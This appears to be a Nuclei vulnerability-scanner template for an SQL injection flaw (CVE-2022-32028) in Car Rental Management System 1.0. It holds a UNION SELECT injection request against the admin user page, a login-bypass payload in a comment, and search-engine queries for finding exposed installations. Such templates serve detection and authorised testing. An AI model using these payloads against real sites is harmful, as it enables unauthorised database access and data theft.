id: CVE-2022-32028

info:
  name: Car Rental Management System 1.0 - SQL Injection
  author: arafatansari
  severity: high
  description: |
    Car Rental Management System 1.0 contains an SQL injection vulnerability via /admin/manage_user.php?id=. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32028
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2022-32028
    cwe-id: CWE-89
    epss-score: 0.04919
    epss-percentile: 0.90994
    cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: car_rental_management_system_project
    product: car_rental_management_system
    shodan-query:
      - http.html:"Car Rental Management System"
      - http.html:"car rental management system"
    fofa-query: body="car rental management system"
    comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username.
  tags: cve,cve2022,carrental,cms,sqli,authenticated,car_rental_management_system_project,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /admin/ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1
        Host: {{Hostname}}

    skip-variables-check: true
    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210094a47caf6f1365dea17b100c16c1bf1632c1dfea33303a1347cbd199ba2d2ed002210089a75b83aa7f579e60ff380d8f47cc37e789d369638b6581f72e505fe6adc02e:922c64590222798bb761d5b6d8e72950